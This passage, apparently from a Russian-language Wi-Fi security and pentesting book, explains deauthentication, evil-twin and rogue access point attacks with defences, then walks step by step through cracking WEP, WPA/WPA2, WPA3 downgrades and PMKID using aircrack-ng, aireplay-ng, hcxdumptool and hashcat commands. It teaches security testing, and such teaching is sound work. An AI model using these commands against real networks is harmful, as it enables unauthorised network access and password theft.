2️⃣ Жертва принудительно отключается от Wi-Fi сети.
3️⃣ Если жертва переподключается, злоумышленник может захватить рукопожатие WPA2 для взлома пароля.
4️⃣ Альтернативно, злоумышленник может перенаправить жертву в сеть "Злой двойник" (об этом далее!).

🔹 Реальные сценарии использования:
✅ Хакеры используют ее для захвата рукопожатий WPA2 для атак перебора.
✅ Злоумышленники отключают пользователей от легитимной сети, чтобы заставить их подключиться к поддельной.
✅ Шутники используют ее, чтобы раздражать своих соседей по комнате, постоянно отключая их от Wi-Fi. (Не круто, бро.)

🔹 Как защититься от атак деаутентификации:
✔️ Используйте WPA3 (который шифрует управляющие кадры).
✔️ Включите MFP (Management Frame Protection) на роутерах WPA2.
✔️ Отслеживайте сетевые журналы на предмет чрезмерного количества пакетов деаутентификации.
✔️ Используйте VPN для поддержания стабильного соединения даже во время атак деаутентификации.

2. Атаки "Злой двойник": главный поддельный Wi-Fi
Что это? Бывали ли вы когда-нибудь в аэропорту или кофейне и видели несколько Wi-Fi сетей с похожими названиями? Starbucks_WiFi против Starbucks_FreeWiFi - какой вы выберете? Выберите неправильно, и бум! Вы попали в ловушку хакера.
Атака "Злой двойник" - это когда злоумышленник создает поддельную Wi-Fi сеть, которая выглядит точно так же, как настоящая. Когда вы подключаетесь, весь ваш интернет-трафик (имена пользователей, пароли, электронные письма) проходит через их систему. Они могут перехватывать ваши данные, изменять веб-страницы и даже выполнять атаки "человек посередине" (MITM). Как это работает?
Злоумышленник:
1️⃣ Создает поддельную Wi-Fi сеть с тем же SSID, что и доверенный хотспот.
2️⃣ Использует атаки деаутентификации для отключения пользователей от реальной сети.
3️⃣ Жертвы переподключаются к "Злому двойнику", думая, что это настоящая сеть.
4️⃣ Злоумышленник захватывает учетные данные и может внедрять вредоносный контент.

🔹 Инструменты для атак "Злой двойник":
✅ Wifiphisher - автоматизирует настройку "Злого двойника" с поддельными страницами входа.
✅ Airbase-ng - создает поддельные точки доступа для атак MITM.
✅ Pineapple Mark VII - устройство для пентеста Wi-Fi, идеально подходящее для поддельных точек доступа.

🔹 Как защититься от атак "Злой двойник":
✔️ Проверяйте сеть перед подключением. Если сомневаетесь, спросите сотрудника.
✔️ Используйте VPN - даже если вы подключитесь к поддельной сети, ваши данные останутся зашифрованными.
✔️ Избегайте ввода паролей через общедоступный Wi-Fi. Если вам это необходимо, используйте многофакторную аутентификацию (MFA).
✔️ Удаляйте общедоступные Wi-Fi сети из списка сохраненных после использования, чтобы избежать автоматических переподключений.

3. Поддельные точки доступа (Rogue APs): троянский конь хакера
Что это? Поддельная точка доступа - это легитимно выглядящая, но неавторизованная точка доступа, установленная злоумышленником внутри организации. В отличие от атаки "Злой двойник" (которая обманом заставляет пользователей подключаться), поддельная точка доступа тихо работает в фоновом режиме, предоставляя хакерам постоянный доступ к внутренним сетям. Как это работает?
1️⃣ Злоумышленник физически устанавливает поддельную точку доступа внутри сети цели.
2️⃣ Она подключается к внутренней сети компании, обходя защиту.
3️⃣ Хакеры используют ее для кражи данных, внедрения вредоносного ПО или повышения привилегий.

🔹 Реальные сценарии использования:
✅ Хакеры оставляют скрытые поддельные точки доступа внутри корпоративных офисов для обхода брандмауэров.
✅ Злонамеренные сотрудники устанавливают поддельные точки доступа для слежки за внутренними сетями.
✅ Злоумышленники используют Raspberry Pi или Wi-Fi Pineapple для эксплойтов удаленного доступа.

🔹 Как защититься от поддельных точек доступа:
✔️ Используйте системы обнаружения вторжений в беспроводные сети (WIDS) для мониторинга поддельных устройств.
✔️ Отключите автоматическое присоединение к сетям на корпоративных устройствах.
✔️ Регулярно проверяйте сеть на наличие неавторизованных точек доступа.
✔️ Используйте аутентификацию 802.1X для предотвращения неавторизованного доступа.

Заключение: Wi-Fi может быть опасным местом

Атаки на Wi-Fi шокирующе легко осуществить - все, что нужно злоумышленнику, это ноутбук и несколько общедоступных инструментов. Атаки деаутентификации могут выкинуть вас из интернета. Атаки "Злой двойник" могут украсть ваши пароли. Поддельные точки доступа могут проникнуть в корпоративные сети.
Так что в следующий раз, когда вы будете потягивать латте и входить в "Бесплатный Wi-Fi аэропорта", спросите себя:
❓ Безопасна ли эта сеть?
❓ Не собираюсь ли я передать свои учетные данные хакеру?
❓ Может, мне просто использовать мобильные данные?
Будьте умны, будьте в безопасности и всегда дважды проверяйте свои Wi-Fi соединения. Потому что в мире кибербезопасности паранойя - ваш лучший друг. 😎

2.5 Усиление безопасности Wi-Fi и методы смягчения последствий​

Ах, безопасность Wi-Fi. Это немного похоже на запирание входной двери, но оставление окон нараспашку. Конечно, вы чувствуете себя в безопасности, но злоумышленник с нужными инструментами все равно может забраться внутрь. Мы провели последние несколько разделов, говоря о том, как злоумышленники взламывают Wi-Fi сети, так что теперь время для хороших новостей - вам не обязательно быть легкой мишенью!
Эта глава посвящена укреплению вашей Wi-Fi сети, закрытию уязвимостей безопасности и созданию невыносимых условий для хакеров. Независимо от того, являетесь ли вы домашним пользователем, пытающимся удержать своего любопытного соседа, или корпоративным администратором, защищающим конфиденциальные данные, эти методы помогут вам опередить злоумышленников.

1. Обновите шифрование: откажитесь от WEP и слабого WPA
Если в настройках безопасности вашего Wi-Fi все еще используется WEP (Wired Equivalent Privacy), у меня есть одно слово для вас: ЗАЧЕМ? Серьезно, WEP настолько сломан, что даже ноутбук вашей бабушки сможет его взломать менее чем за минуту. WPA (Wi-Fi Protected Access) - это самый минимум, но в идеале вы должны использовать WPA3, если ваши устройства его поддерживают.

🔹 Какое шифрование лучше всего использовать?
✔️ WPA3 (Лучший выбор, но не все устройства его поддерживают).
✔️ WPA2-Enterprise (Для бизнеса, использующего аутентификацию RADIUS).
✔️ WPA2-PSK (AES) (Для домашних пользователей, если WPA3 недоступен).
❌ Избегайте WEP и WPA-TKIP (их можно взломать за минуты).

🔹 Дополнительный совет по безопасности:
➡️ Используйте длинные, сложные пароли Wi-Fi (минимум 16+ символов с цифрами, символами и верхним/нижним регистром). Забудьте про "password123" - вам нужно что-то устойчивое к перебору.
2. Включите MAC-фильтрацию (с осторожностью!)
MAC-фильтрация похожа на вышибалу в клубе, который пропускает на ваш Wi-Fi только предварительно одобренные устройства. Хотя это звучит здорово в теории, злоумышленники все равно могут подделать MAC-адреса, чтобы обойти ее. Так что, хотя MAC-фильтрация добавляет небольшой уровень безопасности, на нее не следует полагаться как на основную защиту.

🔹 Как настроить:
✔️ Зайдите в настройки вашего роутера.
✔️ Найдите раздел MAC Filtering/Access Control.
✔️ Добавьте MAC-адреса доверенных устройств и заблокируйте неизвестные.
🔹 Почему это не панацея:
➡️ Злоумышленники могут легко изменить свой MAC-адрес с помощью простой команды:

macchanger -r wlan0

➡️ Вручную утверждать каждое новое устройство, подключающееся к сети, утомительно.

3. Скройте свой SSID (но не полагайтесь на это)
Ваш SSID (Service Set Identifier) - это имя вашей Wi-Fi сети. По умолчанию он транслируется всем, что облегчает его обнаружение устройствами. Скрытие его означает, что пользователи должны вручную вводить SSID для подключения.
🔹 Как скрыть SSID:
✔️ Войдите в настройки вашего роутера.
✔️ Найдите настройки Wi-Fi и ищите "Broadcast SSID" или "Enable SSID Broadcast".
✔️ Отключите эту опцию.

🔹 Почему это не пуленепробиваемое решение:
➡️ Хакеры все равно могут перехватывать скрытые SSID с помощью таких инструментов, как Wireshark.
➡️ Это добавляет неудобств - вам придется вручную вводить имя Wi-Fi на каждом устройстве.

🔹 Лучшая практика:
➡️ Используйте скрытые SSID вместе с шифрованием WPA3/WPA2-PSK. Само по себе этого недостаточно, но это делает вашу сеть менее заметной для случайных злоумышленников.

4. Используйте надежный брандмауэр и сегментацию сети
Если ваш роутер имеет встроенный брандмауэр, ВКЛЮЧИТЕ ЕГО. Хороший брандмауэр блокирует попытки несанкционированного доступа, предотвращая прямое попадание злоумышленников к вашим устройствам.

🔹 Лучшие настройки брандмауэра:
✔️ Включите SPI (Stateful Packet Inspection) - это гарантирует, что проходит только легитимный трафик.
✔️ Отключите удаленный доступ к вашему роутеру, если это абсолютно необходимо.
✔️ Блокируйте неизвестные входящие соединения, чтобы уменьшить поверхность атаки.

🔹 Сегментация сети для дополнительной безопасности:
➡️ Настройте гостевую Wi-Fi сеть для посетителей, IoT-устройств и всего, чему вы не полностью доверяете.
➡️ Держите конфиденциальные устройства (например, рабочие ноутбуки, серверы и камеры) в отдельном VLAN.

5. Защита от атак деаутентификации и "Злой двойник"
Как мы уже говорили, атаки деаутентификации и настройки "Злой двойник" могут выкинуть вас из сети или обманом заставить подключиться к поддельной точке доступа. Вот как дать отпор:
🔹 Предотвращение атак деаутентификации:
✔️ Используйте WPA3 (он шифрует управляющие кадры, делая атаки деаутентификации бесполезными).
✔️ Включите Management Frame Protection (MFP) в сетях WPA2.
✔️ Используйте WIDS/WIPS (системы обнаружения/предотвращения вторжений в беспроводные сети) для обнаружения атак.

🔹 Предотвращение атак "Злой двойник":
✔️ Всегда проверяйте имя сети перед подключением.
✔️ Избегайте использования общедоступного Wi-Fi для конфиденциальных задач (используйте VPN, если это необходимо).
✔️ Настройте аутентификацию на основе сертификатов (например, EAP-TLS) в корпоративных средах.

6. Держите ваш роутер и устройства обновленными
🔹 Почему обновления важны:
➡️ Производители роутеров выпускают исправления безопасности для недавно обнаруженных уязвимостей.
➡️ Устаревшая прошивка может содержать критические уязвимости безопасности, которые используют хакеры.
➡️ Многие атаки полагаются на старую, неисправленную прошивку для успеха.
✔️ Проверяйте версию прошивки вашего роутера как минимум раз в месяц.
✔️ Включите автоматические обновления, если ваш роутер поддерживает эту функцию.
✔️ Используйте пользовательскую прошивку (например, OpenWRT или DD-WRT) для лучшего контроля безопасности.

7. Включите многофакторную аутентификацию (MFA) на вашем роутере
Надежный пароль роутера - это отлично. Но знаете ли вы, что еще лучше? Многофакторная аутентификация (MFA).
Некоторые современные роутеры (например, модели Ubiquiti, ASUS и Synology) теперь поддерживают MFA для входа администратора. Это означает, что даже если злоумышленник получит ваш пароль, ему все равно понадобится второй фактор (например, код со смартфона), чтобы войти.
✔️ Проверьте, поддерживает ли ваш роутер MFA, и включите его.
✔️ Если нет, используйте длинный, сложный пароль администратора и отключите удаленное управление.

Заключение: Заставьте хакеров потрудиться

Вот в чем дело: большинство хакеров ленивы. Они идут за легкой добычей - легкими мишенями со слабыми паролями, устаревшей безопасностью и отсутствием мониторинга. Если вы последуете хотя бы половине этих советов по безопасности, вы сделаете свою сеть слишком хлопотной для атаки.
Так что в следующий раз, когда хакер будет сканировать Wi-Fi в вашем районе в поисках легкой мишени, убедитесь, что ваша сеть не та, у которой "password123" и шифрование WEP.
Потому что в кибербезопасности лучшая стратегия проста: не будьте самой легкой мишенью.


Глава 3: Взлом шифрования Wi-Fi​

Представьте, что вы запираете входную дверь на ночь, чувствуя себя в полной безопасности, - а потом понимаете, что ваш ключ - это просто размокший крендель. Примерно так же работает слабое шифрование Wi-Fi. Многие сети до сих пор используют устаревшие или плохо реализованные системы безопасности, что делает их легкой добычей для злоумышленников. Если вы когда-либо задумывались, как хакеры взламывают пароли Wi-Fi (или просто хотите проверить надежность собственной сети), эта глава для вас.
Здесь мы глубоко погрузимся в мир взлома шифрования Wi-Fi, рассматривая печально известные уязвимости WEP, методы взлома WPA/WPA2 PSK с использованием Aircrack-ng и Hashcat, а также новейшие атаки на WPA3. Вы узнаете о атаках на основе PMKID, перехвате рукопожатий и офлайн-брутфорсе. Но не волнуйтесь - мы также рассмотрим эффективные контрмеры, чтобы держать злоумышленников на расстоянии.

3.1 Взлом WEP: Слабые IV и атаки ARP-инъекциями​

Ах, WEP. Протокол безопасности Wi-Fi, который так же надежен, как дневник со сломанным замком. Если вы до сих пор видите WEP (Wired Equivalent Privacy) в использовании, это как заметить динозавра в дикой природе - увлекательно, но также совершенно устарело и обречено на вымирание.
Но почему WEP так плох? И, что более важно, как хакеры так легко его взламывают? Давайте разберем недостатки этого древнего протокола безопасности и поймем методы, лежащие в основе взлома WEP, эксплуатации слабых IV и атак ARP-инъекциями.

Почему WEP так слаб?

WEP был представлен в 1997 году как первый протокол безопасности для сетей Wi-Fi. К сожалению, он был плохо спроектирован с самого начала, и к началу 2000-х годов исследователи безопасности полностью разрушили его защиту.
Суть слабости WEP заключается в том, как он шифрует данные с использованием шифра RC4 и 24-битного вектора инициализации (IV). Этот IV слишком короткий и предсказуемый, что означает, что после перехвата нескольких тысяч пакетов злоумышленники могут проанализировать закономерности и восстановить ключ WEP.

Основные слабости WEP

🔹 Короткие IV (векторы инициализации): WEP использует только 24-битный IV, что означает, что он очень быстро начинает повторно использовать значения, облегчая взлом.
🔹 Слабое планирование ключей: планирование ключей RC4 предсказуемо, что делает его уязвимым для статистических атак.
🔹 Отсутствие проверки целостности пакетов: злоумышленники могут легко внедрять или изменять пакеты без обнаружения.
🔹 Повторное использование ключа: один и тот же ключ шифрования используется для каждого пакета, что позволяет злоумышленникам восстановить ключ при наличии достаточного количества данных.

Теперь, когда мы знаем, почему WEP - это мусор, давайте посмотрим, как злоумышленники его эксплуатируют.
Шаг 1: Перехват трафика WEP
Первый шаг во взломе WEP - это перехват достаточного количества пакетов из целевой сети. Это делается с помощью таких инструментов, как:
✔️ Airodump-ng (из набора Aircrack-ng)
✔️ Tcpdump
✔️ Wireshark
Злоумышленникам необходимо собрать большое количество IV для анализа и взлома шифрования.

Базовая команда для перехвата трафика WEP:

airodump-ng --bssid <TARGET_BSSID> -c <CHANNEL> -w capture wlan0mon

● --bssid <TARGET_BSSID>: Перехватывает пакеты от конкретной точки доступа.
● -c <CHANNEL>: Фиксируется на канале Wi-Fi цели.
● -w capture: Сохраняет перехваченные пакеты для последующего анализа.

Шаг 2: ARP-инъекция для ускорения сбора IV
Поскольку WEP повторно использует IV, злоумышленник может ускорить процесс взлома, заставляя сеть генерировать больше зашифрованных пакетов. Наиболее распространенный метод - ARP-инъекция.

Как работает ARP-инъекция:
🔹 Злоумышленник перехватывает пакет ARP-запроса из целевой сети.
🔹 Затем этот пакет повторно отправляется в сеть, заставляя маршрутизатор отправлять больше зашифрованных пакетов.
🔹 Каждый новый пакет содержит новый IV, что помогает быстрее взломать ключ WEP.

Команда для ARP-инъекции:

aireplay-ng -3 -b <TARGET_BSSID> -h <ATTACKER_MAC> wlan0mon

● -3: Режим атаки ARP-повтором.
● -b <TARGET_BSSID>: Указывает целевую точку доступа.
● -h <ATTACKER_MAC>: Использует MAC-адрес злоумышленника.
Через несколько минут ARP-инъекции злоумышленник получит тысячи IV, что сделает WEP готовым к взлому.

Шаг 3: Взлом ключа WEP с помощью Aircrack-ng
Как только собрано достаточно IV, настало время взломать ключ WEP. Инструменты, такие как Aircrack-ng, анализируют IV и используют статистические методы (например, атаку FMS) для восстановления ключа шифрования.
Команда для взлома WEP:

aircrack-ng -b <TARGET_BSSID> -w capture.cap

● -b <TARGET_BSSID>: Указывает целевую точку доступа.
● capture.cap: Файл, содержащий все перехваченные пакеты.
Если было собрано достаточно IV, Aircrack-ng раскроет ключ WEP за считанные минуты.

Пример реальной атаки
Представьте: вы сидите в кафе, потягивая свой дорогой латте, и замечаете, что их Wi-Fi использует WEP (потому что владелец никогда не удосужился его обновить). Злоумышленник, сидящий поблизости с дешевым Wi-Fi адаптером и Kali Linux, мог бы:
● Перехватить пакеты из сети кафе.
● Внедрить ARP-запросы для ускорения сбора пакетов.
● Взломать ключ WEP менее чем за 5 минут.
● Получить полный доступ к сети и начать перехватывать незашифрованный трафик.
И вот так WEP рушится быстрее карточного домика в торнадо.

Защита от взлома WEP

Лучший способ защититься от взлома WEP - это вообще не использовать WEP. Если ваша сеть до сих пор использует WEP, прекратите читать это и немедленно обновитесь до WPA2 или WPA3.

Шаги по обеспечению безопасности вашей сети Wi-Fi:
✔️ Обновитесь до WPA2 или WPA3 - современные протоколы шифрования устраняют атаки со слабыми IV.
✔️ Отключите WEP, если он все еще включен на вашем маршрутизаторе - некоторые маршрутизаторы поддерживают WEP по соображениям обратной совместимости.
✔️ Используйте надежные, сложные пароли - длиной не менее 16 символов со спецсимволами и цифрами.
✔️ Регулярно обновляйте прошивку маршрутизатора - патчи безопасности исправляют уязвимости в устаревших протоколах.
✔️ Используйте MAC-фильтрацию и сегментацию сети - хотя это и не панацея, они добавляют дополнительные уровни безопасности.
Заключительные мысли: WEP мертв, оставьте его в покое
Если вы все еще думаете, что WEP - это "лучше, чем ничего", позвольте мне сказать вам - это, по сути, ничего. Ребенок с Raspberry Pi сможет взломать его за считанные минуты, и хакеры не собираются игнорировать вашу сеть только потому, что у нее есть какая-то защита.
Итак, давайте попрощаемся с WEP и перейдем к более надежным методам шифрования. Потому что в мире безопасности Wi-Fi WEP - это тот парень, который все еще пользуется раскладушкой, пока все остальные перешли на смартфоны.
И поверьте мне, никто не хочет быть таким парнем.

3.2 Взлом WPA/WPA2 PSK с помощью Aircrack-ng и Hashcat​

Ах, WPA и WPA2. В отличие от WEP, который рассыпается, как черствый печенье, эти протоколы шифрования действительно оказывают сопротивление. Но будем честны - если бы безопасность была идеальной, я бы не писал эту главу, и вы бы ее не читали.
Сети WPA и WPA2 с предварительным общим ключом (PSK) могут быть взломаны при правильных условиях, с правильными инструментами и с использованием старого доброго брутфорса (или словарных атак, потому что набирать пароли вручную - это прошлый век).
В этой главе мы разберем, как злоумышленники перехватывают рукопожатия WPA/WPA2, а затем используют Aircrack-ng и Hashcat для их взлома, как киберпанк-взломщик сейфов. Возьмите кофе (или энергетический напиток), потому что сейчас будет интересно.

Понимание безопасности WPA и WPA2

Что делает WPA/WPA2 сильнее, чем WEP?
WPA (Wi-Fi Protected Access) и WPA2 внесли несколько существенных улучшений безопасности по сравнению с WEP, включая:
✔️ Более сильное шифрование: WPA использует TKIP (не очень хорошо), но WPA2 использует AES-CCMP, который намного сильнее.
✔️ Динамическая генерация ключей: WEP использовал один и тот же ключ для всех пакетов, а WPA/WPA2 использует динамические ключи.
✔️ Четырехстороннее рукопожатие: устройства и маршрутизаторы обмениваются зашифрованными данными аутентификации, что затрудняет прямое восстановление ключа.
Звучит надежно, верно? Ну, вот в чем загвоздка: если пароль Wi-Fi (PSK) слабый, его все равно можно взломать! Метод атаки? Перехват рукопожатия WPA/WPA2 и брутфорс.

Шаг 1: Перехват рукопожатия WPA/WPA2
Чтобы взломать WPA/WPA2, злоумышленникам необходимо перехватить четырехстороннее рукопожатие, которое происходит, когда устройство подключается к сети Wi-Fi. Это можно сделать путем:
● Ожидания естественного подключения клиента (скучно, медленно).
● Деаутентификации подключенного клиента для принудительного переподключения (быстро, эффективно).
Лучший инструмент для этого? Airodump-ng (для перехвата рукопожатий) + Aireplay-ng (для принудительного переподключения).

Команда для перехвата рукопожатия:

airodump-ng --bssid <TARGET_BSSID> -c <CHANNEL> -w capture wlan0mon

● --bssid <TARGET_BSSID>: Целевой маршрутизатор Wi-Fi.
● -c <CHANNEL>: Канал Wi-Fi.
● -w capture: Сохраняет пакеты в файл для взлома.

Принудительное переподключение клиента (атака деаутентификации):

aireplay-ng --deauth 10 -a <TARGET_BSSID> wlan0mon

● --deauth 10: Отправляет 10 пакетов деаутентификации для отключения клиента.
● -a <TARGET_BSSID>: Нацеливается на конкретную сеть Wi-Fi.
Как только клиент переподключится, Airodump-ng перехватит рукопожатие, и мы готовы к следующему шагу.

Шаг 2: Взлом пароля WPA/WPA2 с помощью Aircrack-ng
Если перехваченный пароль Wi-Fi слабый (распространенные пароли типа password123, letmein, iloveyou), его можно взломать с помощью словарной атаки с Aircrack-ng.
Взлом с помощью Aircrack-ng:

aircrack-ng -w wordlist.txt -b <TARGET_BSSID> capture.cap

● -w wordlist.txt: Использует готовый список слов для взлома паролей.
● -b <TARGET_BSSID>: Нацеливается на сеть Wi-Fi.
● capture.cap: Файл, содержащий перехваченное рукопожатие.
Если пароль есть в списке слов, Aircrack-ng взломает его за считанные минуты. Если нет, нам нужно повысить уровень атаки с помощью Hashcat.

Шаг 3: Взлом на основе GPU с помощью Hashcat
Hashcat намного быстрее Aircrack-ng, потому что он использует GPU для атак методом перебора. Вот где все становится серьезно.
Преобразование файла перехвата для Hashcat
Перед использованием Hashcat файл перехваченного рукопожатия необходимо преобразовать в формат хэша.
Мы делаем это с помощью hcxpcapngtool:

hcxpcapngtool -o hash.hccapx -E essidlist.txt capture.cap

Теперь мы готовы к взлому.
Взлом WPA/WPA2 с помощью Hashcat

hashcat -m 22000 hash.hccapx wordlist.txt --force

● -m 22000: Указывает Hashcat режим хэша WPA/WPA2.
● hash.hccapx: Преобразованный файл рукопожатия.
● wordlist.txt: Словарь для попыток перебора.
Профессиональный совет: если пароля нет в списке слов, злоумышленники используют масочные атаки или брутфорс, чтобы перебрать все возможные комбинации. Это может занять дни, месяцы или даже годы для сложных паролей.

Продвинутый взлом WPA2: атака PMKID

В 2018 году исследователи безопасности обнаружили новый метод взлома WPA2 без перехвата рукопожатия - атака PMKID.
Как это работает
🔹 Некоторые маршрутизаторы утекают PMKID (Pairwise Master Key Identifier) при попытке клиента подключиться.
🔹 Злоумышленники перехватывают этот PMKID и перебирают его, как обычное рукопожатие.

Перехват PMKID с помощью HCXTools
hcxdumptool -i wlan0mon -o capture.pcapng -- enable_status=1

● -i wlan0mon: Использует беспроводной адаптер в режиме монитора.
● -o capture.pcapng: Сохраняет файл перехвата PMKID.

Взлом PMKID с помощью Hashcat

hashcat -m 22000 capture.pcapng wordlist.txt
Эта атака работает только на уязвимых маршрутизаторах, но она быстрее, чем взлом рукопожатия, потому что не требует взаимодействия с клиентом.

Защита от взлома WPA/WPA2

Хорошо, давайте перевернем сценарий - как защититься от этих атак?
✔️ Используйте WPA3, если возможно - он предотвращает офлайн-словарные атаки и взлом рукопожатий.
✔️ Используйте надежные, уникальные пароли - не менее 16+ символов с цифрами, спецсимволами и случайностью.
✔️ Отключите WPS (Wi-Fi Protected Setup) - он уязвим для атак методом перебора PIN-кодов.
✔️ Включите MAC-фильтрацию и изоляцию клиентов - добавляет дополнительный уровень безопасности.
✔️ Используйте корпоративную аутентификацию (WPA2-Enterprise) - взлом PSK применим только к личному режиму.

Заключительные мысли: надежные пароли выигрывают игру

В конечном итоге, WPA/WPA2 силен настолько, насколько силен установленный вами пароль. У вас могут быть самые высокотехнологичные меры безопасности, но если ваш пароль Wi-Fi - 12345678, вы можете так же хорошо повесить на свой маршрутизатор неоновую вывеску "ВЗЛОМАЙ МЕНЯ".
Итак, давайте учиться на ошибках прошлого (покойся с миром, WEP), использовать надежные пароли и применять современные практики безопасности.
Потому что, поверьте мне - никто не хочет видеть, как их сосед бесплатно смотрит Netflix через их Wi-Fi.

3.3 WPA3 и безопасность SAE: обходы и атаки​

Ах, WPA3 - последнее и величайшее в безопасности Wi-Fi!
Рекламируемый как "невзламываемый" апгрейд WPA2, он обещает улучшенное шифрование, более надежную аутентификацию и устойчивость к атакам методом перебора. Но если история нас чему-то научила, так это тому, что ничто не является по-настоящему невзламываемым (помните WEP? Да, он хорошо состарился).
В этой главе мы погрузимся в WPA3, узнаем, что делает его лучше, как злоумышленники его обходят, и что вы можете сделать, чтобы оставаться на шаг впереди. Возьмите свой Wi-Fi адаптер и перекус - это будет весело.

Что нового в WPA3?

WPA3 был представлен в 2018 году в ответ на растущие слабости WPA2. Его основные улучшения безопасности включают:
✔ Одновременная аутентификация равных (SAE): Заменяет четырехстороннее рукопожатие WPA2 более устойчивым методом обмена ключами (также известным как Dragonfly Handshake).
✔ Защищенные управляющие кадры (PMF): Предотвращает атаки деаутентификации путем шифрования управляющих сообщений.
✔ Прямая секретность: Если хакер украдет старое рукопожатие WPA3, он не сможет использовать его для расшифровки будущего трафика.
✔ Улучшенное шифрование (режим безопасности 192 бит): Улучшение корпоративного уровня для сетей с высоким уровнем безопасности.
Звучит надежно, верно? Ну, давайте поговорим о том, как хакеры уже его атакуют.

Как атакуют WPA3

1. Dragonblood: Первая большая уязвимость WPA3
В 2019 году исследователи Мати Ванхоф и Эяль Ронен нанесли удар: WPA3 имел критические недостатки. Они назвали свою атаку Dragonblood, и она состояла из двух основных эксплойтов:
Атака по побочным каналам (атаки по времени и кэшу)
● SAE (рукопожатие Dragonfly) утекает достаточно информации, чтобы сделать возможными офлайн-словарные атаки - это означает, что WPA3 по-прежнему подвержен взлому паролей!
● Злоумышленники могут использовать атаки на основе кэша для извлечения частичных данных пароля и восстановления полной фразы.
Атака понижения версии: принудительное использование WPA2 вместо WPA3
● Многие маршрутизаторы обратно совместимы с WPA2.
● Злоумышленники могут заставить жертву подключиться, используя WPA2, где стандартный взлом рукопожатия по-прежнему работает.
● Это полностью обходит защиту WPA3!

2. Атаки деаутентификации все еще работают (вроде как)
Хотя WPA3 вводит защищенные управляющие кадры (PMF) для предотвращения атак деаутентификации, многие маршрутизаторы не применяют их должным образом. Это означает:
Злоумышленники по-прежнему могут глушить сигнал для нарушения работы Wi-Fi.
Некоторые устройства после повторных сбоев возвращаются к незащищенному WPA2, снова становясь уязвимыми.

3. Брутфорс WPA3 с помощью атак по побочным каналам
Несмотря на то, что WPA3 устойчив к традиционным атакам методом перебора, рукопожатие Dragonfly утекает небольшие подсказки пароля через анализ побочных каналов.
● Злоумышленники используют эти утечки для сужения круга возможных паролей.
● Чем слабее пароль, тем легче его взломать, даже в WPA3.
● Это делает словарные атаки возможными, как и в WPA2!

Как злоумышленники обходят WPA3 в реальном мире
Вот распространенный сценарий атаки на WPA3 по шагам:
Разведка: Злоумышленник сканирует сети с поддержкой WPA3 с помощью airodump-ng:

airodump-ng wlan0mon


Атака понижения версии: Если включен WPA2, они заставляют клиента подключиться через WPA2 вместо WPA3:

aireplay-ng --deauth 10 -a <BSSID> wlan0mon


Перехват рукопожатия: Если принудительно используется WPA2, они перехватывают рукопожатие WPA2 и взламывают его с помощью Hashcat:

hashcat -m 22000 capture.pcap wordlist.txt


Атака по побочным каналам: Если активен WPA3, они используют Dragonblood для извлечения подсказок пароля и попытки словарного брутфорса.

Защита от атак WPA3

Хорошо, пора перевернуть сценарий. Как защититься от атак на основе WPA3?
✔ Используйте надежные, уникальные пароли - избегайте словарных слов и используйте не менее 16+ символов.
✔ Отключите обратную совместимость WPA2 - принудительное подключение только к WPA3 устраняет атаки понижения версии.
✔ Включите надлежащее принудительное применение PMF - убедитесь, что ваш маршрутизатор применяет защищенные управляющие кадры.
✔ Используйте корпоративную аутентификацию (WPA3-Enterprise) - это добавляет дополнительный уровень шифрования помимо безопасности PSK.
✔ Регулярно обновляйте прошивку - выпущены патчи для смягчения эксплойтов типа Dragonblood.

Заключительные мысли: действительно ли WPA3 безопасен?

WPA3, безусловно, является улучшением по сравнению с WPA2, но он не неуязвим. Как и любой протокол безопасности до него, злоумышленники уже находят способы его обойти.
Так что, если вы думаете: "WPA3 означает, что я могу использовать ‘password123’ и быть в безопасности!" - подумайте еще раз. Безопасность сильна настолько, насколько сильно ее самое слабое звено, а плохой пароль всегда будет лучшим другом хакера.
Так что будьте умны. Используйте надежные пароли. Обновляйте прошивку. И, возможно, - возможно - вам не придется делиться своим Wi-Fi с вашим жутким соседом, который пользуется вашей сетью, чтобы смотреть видео с кошками в 2 часа ночи.

3.4 PMKID и перехват рукопожатия для офлайн-взлома​

Ах, взлом Wi-Fi - подарок, который продолжает дарить! Если вы когда-либо пытались взломать пароли WPA2-PSK с помощью перехвата рукопожатий, вы знаете, как это делается: перехватить рукопожатие, перебрать хэш и надеяться, что пароль не будет чем-то нелепым вроде ilovecats123 (что, честно говоря, часто бывает).
Но что, если я скажу вам, что есть еще более быстрый способ получить эти сочные хэши, не дожидаясь подключения жертвы? Встречайте атаку PMKID - оптимизированный метод без ожидания в очереди для кражи учетных данных Wi-Fi.

Что такое PMKID и почему это важно?

PMKID расшифровывается как Pairwise Master Key Identifier. Это часть процесса рукопожатия WPA2, и благодаря некоторым неправильным настройкам многих маршрутизаторов злоумышленники могут извлечь его без необходимости полного четырехстороннего рукопожатия.
Почему это так важно?
✅ Не требуется взаимодействие с клиентом - традиционный взлом Wi-Fi требует ожидания подключения пользователя. Атаки PMKID? Ожидания не требуется!
✅ Быстрее и незаметнее - это одиночный запрос пакета вместо шумной атаки деаутентификации.
✅ Работает в сетях WPA2 и некоторых WPA3 - да, даже современная безопасность не идеальна!

Как работают атаки PMKID

Разберем по шагам:
Шаг 1: Сканирование уязвимых сетей
Сначала мы запускаем hcxdumptool (инструмент, предназначенный для перехвата хэшей PMKID) и сканируем целевые сети.

hcxdumptool -i wlan0mon --enable_status=3 -o pmkid.pcapng

Эта команда:
✔ Сканирует сети Wi-Fi
✔ Запрашивает PMKID у точек доступа
✔ Сохраняет перехваченные хэши

Шаг 2: Извлечение хэша PMKID
После того как мы перехватили хэши PMKID, мы извлекаем их в формат, который может обработать Hashcat:

hcxpcapngtool -o pmkid_hash.txt pmkid.pcapng

Теперь у нас есть чистый, готовый к взлому файл хэша.

Шаг 3: Взлом хэша с помощью Hashcat
Время достать тяжелую артиллерию брутфорса! Мы используем Hashcat для попытки взлома PMKID:

hashcat -m 16800 pmkid_hash.txt rockyou.txt --force

● -m 16800: Указывает Hashcat, что мы взламываем хэши PMKID.
● rockyou.txt: Популярный список паролей (потому что люди все еще используют "password123").
● --force: Если вы любите жить на грани, вы можете игнорировать предупреждения.
Если пароль слабый (что часто бывает), мы в игре.

Перехват рукопожатия: Классический метод

Атаки PMKID - это фантастика, но не все маршрутизаторы уязвимы. В таких случаях мы возвращаемся к проверенному методу: перехвату четырехстороннего рукопожатия.

Шаг 1: Сканирование сетей Wi-Fi
Используя airodump-ng, мы ищем цели:

airodump-ng wlan0mon


Мы находим целевой BSSID (MAC-адрес маршрутизатора) и номер канала, затем фиксируемся на нем:

airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon


Шаг 2: Принудительное переподключение клиента
Если никто не подключается, мы деаутентифицируем подключенное устройство, чтобы вызвать новое рукопожатие:
